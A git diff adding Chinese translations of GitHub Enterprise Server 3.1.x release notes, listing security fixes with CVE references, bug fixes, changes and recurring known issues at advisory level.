注册表不再返回元数据响应的时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。" + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接,则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/12.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/12.yml new file mode 100644 index 0000000000..fea487a964 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/12.yml @@ -0,0 +1,24 @@ +date: '2021-11-23' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 如果已启用 GitHub Actions,运行 `ghe-repl-start` 或 `ghe-repl-status` 可能会在连接到数据库时返回错误。 + - 如果未定义 `PATH`,预接收挂钩会失败。 + - '如果曾将实例配置为副本,运行 `ghe-repl-setup` 会返回错误:“无法创建目录 /data/user/elasticsearch:文件已存在”。' + - '设置高可用性副本后,`ghe-repl-status` 在输出中包含错误:“命令中未关闭的意外操作”。' + - 在大型群集环境中,某部分前端节点可能无法使用身份验证后端。 + - 在 GHES 群集的后端节点上,一些关键服务可能不可用。 + changes: + - 在使用 `ghe-cluster-suport-bundle` 创建群集支持包时,现在会默认关闭额外一层的外部 `gzip` 压缩。使用 `ghe-cluster-suport-bundle -c` 命令行选项可以选择应用此外部压缩。 + - 我们在管理控制台添加了额外的文本,以提醒用户移动应用的数据收集,目的是改善体验。 + - "{% data variables.product.prodname_github_connect %} 数据连接记录现在会列出已启用的 {% data variables.product.prodname_github_connect %} 功能。[更新日期:2021 年 12 月 9 日]" + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再返回元数据响应的时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。" + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接,则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/13.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/13.yml new file mode 100644 index 0000000000..b6b479d82a --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/13.yml @@ -0,0 +1,23 @@ +date: '2021-12-07' +sections: + security_fixes: + - 支持包可以包含敏感文件,前提是它们满足一组特定条件。 + - "在 GitHub Enterprise Server 中发现了一个 UI 虚假陈述漏洞,该漏洞允许在 GitHub 应用程序的用户授权 Web 流期间授予比在审批期间向用户显示的更多权限。此漏洞影响 GitHub Enterprise Server 3.3 之前的所有版本,已在 3.2.5、3.1.13 和 3.0.21 中修复。此漏洞通过 GitHub Bug 赏金计划报告,编号为 [CVE-2021-41598](https://www.cve.org/CVERecord?id=CVE-2021-41598)。" + - "在 GitHub Enterprise Server 中发现了一个在构建 GitHub Pages 站点时可以利用的远程代码执行漏洞。此漏洞影响 GitHub Enterprise Server 3.3 之前的所有版本,已在 3.0.21、3.1.13 和 3.2.5 中修复。此漏洞通过 GitHub Bug 赏金计划报告,编号为 [CVE-2021-41599](https://www.cve.org/CVERecord?id=CVE-2021-41599)。更新时间:2022 年 2 月 17 日" + bugs: + - 由于 `/data/user/tmp/pages` 中存在权限问题,运行 `ghe-config-apply` 有时可能会失败。 + - 管理控制台中的错误配置导致了调度错误。 + - Docker 会在日志轮换后保持日志文件打开。 + - GraphQL 请求未在预接收挂钩环境中设置 GITHUB_USER_IP 变量。 + changes: + - 阐明了文档中对 Actions 路径样式的解释。 + - 更新支持联系 URL 以使用当前支持站点 support.github.com。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/14.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/14.yml new file mode 100644 index 0000000000..d820e279f0 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/14.yml @@ -0,0 +1,14 @@ +date: '2021-12-13' +sections: + security_fixes: + - '{% octicon "alert" aria-label="The alert icon" %} **严重:**在 Log4j 库中发现远程代码执行漏洞,该漏洞会影响 3.3.1 之前的所有 {% data variables.product.prodname_ghe_server %} 版本,漏洞编号为[CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228)。Log4j 库用于在 {% data variables.product.prodname_ghe_server %} 实例上运行的开源服务。已在 {% data variables.product.prodname_ghe_server %} 3.0.22、3.1.14、3.2.6 和 3.3.1 中修复该漏洞。 有关详细信息,请参阅 GitHub 博客[文章](https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/)。' + - '**2021 年 12 月 17 日更新**:此版本中的修复也能缓解在该版本之后发布的 [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046)。无需再升级 {% data variables.product.prodname_ghe_server %},即可缓解 CVE-2021-44228 和 CVE-2021-45046。' + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再返回元数据响应的时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。" + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接,则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/15.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/15.yml new file mode 100644 index 0000000000..70c45870a6 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/15.yml @@ -0,0 +1,21 @@ +date: '2022-01-18' +sections: + security_fixes: + - '包已更新到最新的安全版本。在这些更新中,Log4j 已更新至版本 2.17.1。注意:以前在 3.3.1、3.2.6、3.1.14 和 3.0.22 中发布的缓解措施已经足够解决这些 GitHub Enterprise Server 版本中 CVE-2021-44228、CVE-2021-45046、CVE-2021-45105 和 CVE-2021-44832 的影响。' + - 清理生成的支持包中的更多机密 + - 包已更新到最新的安全版本。 + bugs: + - 由于 `/data/user/tmp/pages` 中存在权限问题,`ghe-config-apply` 的运行有时可能会失败。 + - 在低分辨率的浏览器中滚动,可能无法找到管理控制台中的保存按钮。 + - Collectd 版本升级后,IOPS 和存储流量监控图未更新。 + - 一些与 Webhook 相关的作业可能会产生大量的日志。 + - "`/repos` API返回给用户的仓库权限不会返回完整的列表。" + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再返回元数据响应的时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。" + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接,则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/16.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/16.yml new file mode 100644 index 0000000000..d69a0d05f4 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/16.yml @@ -0,0 +1,24 @@ +date: '2022-02-01' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 在 MySQL 机密轮换后,页面将不可用,直到手动重启 `nginx`。 + - 使用 ISO 8601 日期设置维护计划时,由于时区未转换为 UTC,因此实际计划时间将不匹配。 + - 有关 `cloud-config.service` 的虚假错误消息将输出到控制台。 + - 使用 `ghe-cluster-each` 安装热补丁后,版本号将无法正确更新。 + - Webhook 表清理作业可能同时运行,导致资源争用并且作业运行时间增加。 + - 使用 CAS 身份验证并启用“重新激活暂停的用户”选项时,暂停的用户不会自动重新激活。 + - 将基于电子邮件的通知限制为在经过验证或批准的域上具有电子邮件的用户的功能无法正常工作。 + - 多个文档链接导致“404 找不到”错误。 + changes: + - GitHub Connect 数据连接记录现在包括活动和休眠用户数量以及配置的休眠期的计数。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的全部数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/17.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/17.yml new file mode 100644 index 0000000000..5f85dbc002 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/17.yml @@ -0,0 +1,15 @@ +date: '2022-02-17' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 修复从 memcached 获取超过 2^16 个密钥时的 SystemStackError(堆栈太深)。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/18.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/18.yml new file mode 100644 index 0000000000..d75b2f7a06 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/18.yml @@ -0,0 +1,16 @@ +date: '2022-03-01' +sections: + security_fixes: + - "高:在 GitHub 的 Markdown 分析程序中发现了可能会导致信息泄漏和 RCE 的整数溢出漏洞。该漏洞由 Google Project Zero 的成员 Felix Wilhelm 通过 GitHub Bug 悬赏计划报告,编号为 CVE-2022-24724。" + bugs: + - 如果高可用性副本的时钟与主要副本不同步,升级有时会失败。 + - "在 2020 年 9 月 1 日之后创建的 OAuth 应用程序无法使用[检查授权](https://docs.github.com/en/enterprise-server@3.1/rest/reference/apps#check-an-authorization) API 终结点。" + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再返回元数据响应的时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。" + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接,则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/19.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/19.yml new file mode 100644 index 0000000000..cdd6e15a9e --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/19.yml @@ -0,0 +1,41 @@ +date: '2022-04-04' +sections: + security_fixes: + - '中:在 {% data variables.product.prodname_ghe_server %} 管理控制台中发现了一个允许绕过 CSRF 保护的路径遍历漏洞。此漏洞影响 3.5 之前的所有 {% data variables.product.prodname_ghe_server %} 版本,并在 3.1.19、3.2.11、3.3.6 和 3.4.1 中得到了修复。此漏洞通过 {% data variables.product.prodname_dotcom %} Bug 赏金计划报告,编号为 CVE-2022-23732。' + - '中:在 `yajil` 的 1.x 分支和 2.x 分支中发现了一个整数溢出漏洞,在处理大型 (~2GB) 输入时,该漏洞会导致随后出现堆内存损坏。此漏洞是内部报告的,编号为 CVE-2022-24795。' + - "如果启用了 {% data variables.product.prodname_actions %},支持包可能包含敏感文件。" + - 包已更新到最新的安全版本。 + bugs: + - 显示了用于在管理控制台的“隐私”设置中启用 `TLS 1.0` 和 `TLS 1.1` 的选项,尽管在早期版本中移除了这些协议版本。 + - "在 HA 环境中,首次启用 {% data variables.product.prodname_actions %} 后,可能需要执行额外的手动步骤才能配置 MSSQL 复制。" + - 经过热补丁,内部配置文件的子集更新会更可靠。 + - "`ghe-run-migrations` 脚本有时无法正确生成临时证书名称。" + - 在群集环境中,Git LFS 操作可能会因跨多个 web 节点的内部 API 调用失败而失败。 + - 由于 `syscall` 权限不足,使用 `gpg --import` 的预接收挂钩超时。 + - 在某些群集拓扑中,Webhook 交付信息不可用。 + - "在 HA 配置中,如果先前已启用 {% data variables.product.prodname_actions %},副本拆解操作将失败。" + - 运行迁移时,Elasticsearch 运行状况检查不允许出现黄色群集状态。 + - 由于用户将其用户帐户转换为组织而创建的组织未添加到全局企业帐户中。 + - "使用 `ghe-migrator` 或从 {% data variables.product.prodname_dotcom_the_website %} 导出时,如果在导出过程中删除数据,则长时间运行的导出将失败。" + - 无法访问的页面链接已被移除。 + - 将团队添加为拉取请求的审阅者时,有时会显示不正确的团队成员数量。 + - "大量休眠用户可能会导致 {% data variables.product.prodname_github_connect %} 配置失败。" + - 站点管理员 Web UI 中的“功能和 Beta 版本注册”页面无法正确使用。 + - 单击站点页脚中的“站点管理员模式”链接时,其状态未发生更改。 + changes: + - 增加了 Memcached 连接上限,可更好地适应大型群集拓扑。 + - 更有效地识别和删除超出 Webhook 日志保留时段的 Webhook 日志。 + - 依赖项关系图 API 以前使用静态定义的端口运行。 + - 已更新与群集相关的 Elasticsearch 分片设置的默认分片计数。 + - “会审”和“维护”团队角色在存储库迁移期间保留。 + - '出现了不必要的 `NotProcessedError` 异常。' + - 企业所有者提出的 Web 请求的性能已得到改进。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表在元数据响应中不再返回时间值。这样做是为了大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - "在没有任何用户的新建 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被移除。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},就可以使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/2.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/2.yml new file mode 100644 index 0000000000..52ac8a7cb3 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/2.yml @@ -0,0 +1,30 @@ +date: '2021-06-24' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 管理控制台中可能会积累大量 `gauge-dependency-graph-api-dispatch_dispatch` 指标。 + - sshd 服务有时无法从 Google Cloud Platform 上运行的实例启动。 + - 旧的升级文件将保留在用户磁盘上,有时会导致空间不足。 + - '`gh-migrator` 显示了其日志输出的错误路径。' + - 如果导出存档包含来自存档中不存在的团队的审查请求,则导出存档将无法导入拉取请求并且无提示。 + changes: + - "将 GHES 3.1 中的 {% data variables.product.prodname_actions %} Runner 版本更新到 [v2.278.0](https://github.com/actions/runner/releases/tag/v2.278.0)" + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 将在升级过程中删除自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中 blob 文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - |在从 3.0.x 升级到 3.1.x 后,在某些情况下,GitHub Actions 可能会失败并出现错误:“执行此工作流程时发生意外错误”。要解决这个问题,请连接到管理 shell (ssh) 并运行: + +``` + +ghe-actions-console -s actions -c "Queue-ServiceJob -JobId 4DB1F4CF-19FD-40E0-A253-91288813DE8B" + +``` + +| + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将会使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/20.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/20.yml new file mode 100644 index 0000000000..98df6f6beb --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/20.yml @@ -0,0 +1,22 @@ +date: '2022-04-20' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 在某些情况下,使用升级包升级高可用性对中的节点可能会导致 Elasticsearch 进入不一致状态。 + - 在某些群集拓扑中,命令行实用程序 `ghe-spokesctl` 和 `ghe-btop` 无法运行。 + - 由于 `elasticsearch-upgrade` 服务并行运行多次,因此 Elasticsearch 索引可能会在包升级期间重复。 + - "`maint_host_low` 作业队列未处理,导致某些维护任务无法运行。" + - "将用户帐户转换为组织帐户时,如果用户帐户是 {% data variables.product.prodname_ghe_server %} 企业帐户的所有者,则转换后的组织将无法正确显示在企业所有者列表中。" + - 当与 OAuth 应用程序 ID 匹配的集成已存在时,使用企业管理 REST API 创建模拟 OAuth 令牌会导致错误。 + changes: + - 尝试缓存大于 Memcached 中允许的最大值的值时,会引发错误,但不会报告密钥。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/21.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/21.yml new file mode 100644 index 0000000000..da3e9b4d50 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/21.yml @@ -0,0 +1,25 @@ +date: '2022-05-17' +sections: + security_fixes: + - '**中:**发现了 nginx 解析器中的一个安全问题,可以从 DNS 服务器伪造 UDP 数据包的攻击者可能导致 1 字节内存覆盖,从而导致工作进程崩溃或其他潜在的破坏性影响。该漏洞的编号为 [CVE-2021-23017](https://nvd.nist.gov/vuln/detail/CVE-2021-23017)。' + - "更新了 `actions/checkout@v2` 和 `actions/checkout@v3` 操作以解决 [Git 安全措施实施博客文章](https://github.blog/2022-04-12-git-security-vulnerability-announced/)中公布的新漏洞。" + - 包已更新到最新的安全版本。 + bugs: + - 在某些群集拓扑中,`ghe-cluster-status` 命令会在 `/tmp` 中留下空目录。 + - SNMP 错误地将大量 `Cannot statfs` 错误消息记录到 syslog。 + - 对于配置了 SAML 身份验证和启用内置回退的实例,内置用户在尝试从退出登录后生成的页面登录时会陷入“登录”循环。 + - 使用 SAML 加密断言时,某些断言未正确将 SSH 密钥标记为已验证。 + - '当存储库具有包含非 ASCII 字符的标记时,发布页面将返回 500 错误。[更新时间:2022-06-10]' + changes: + - 在高可用性配置中,阐明管理控制台中的复制概述页面仅显示当前复制配置,而不是当前复制状态。 + - "启用 {% data variables.product.prodname_registry %} 时,阐明不支持使用共享访问签名 (SAS) 令牌作为连接字符串。" + - 支持包现在包括存储在 MySQL 中的表的行数。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/22.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/22.yml new file mode 100644 index 0000000000..aa5edba89b --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/22.yml @@ -0,0 +1,20 @@ +date: '2022-06-09' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - "如果主机名字符串以“.”开头(句点字符),则 {% data variables.product.prodname_ghe_server %} 配置文件中用于验证主机名的内部脚本将返回错误。" + - 在主节点的主机名超过 60 个字符的 HA 配置中,MySQL 将无法配置。 + - 站点管理员仪表板中报告的“跨整个实例的最大提交者”的计算不正确。 + - "使用 {% data variables.product.prodname_enterprise_backup_utilities %} 执行还原时,存储库复制的数据库输入不正确导致数据库损坏。" + changes: + - 在 Elasticsearch 报告有效的标黄状态的 HA 配置中,之前修复中引入的更改将阻止 `ghe-repl-stop` 命令,并且不允许停止复制。当服务处于正常或有效标黄状态时,使用 `ghe-repo-stop --force` 将强制 Elasticsearch 停止运行。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 Blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/3.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/3.yml new file mode 100644 index 0000000000..13b74382da --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/3.yml @@ -0,0 +1,27 @@ +date: '2021-07-14' +sections: + security_fixes: + - '**高:**在 GitHub Enterprise Server 中发现了一个在构建 GitHub Pages 站点时可以利用的路径遍历漏洞。GitHub Pages 使用的用户控制配置选项没有受到足够的限制,因此可以在 GitHub Enterprise Server 实例上读取文件。要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和构建 GitHub Pages 站点的权限。此漏洞影响 3.1.3 之前的所有 GitHub Enterprise Server 版本,编号为 CVE-2021-22867。此漏洞通过 GitHub Bug 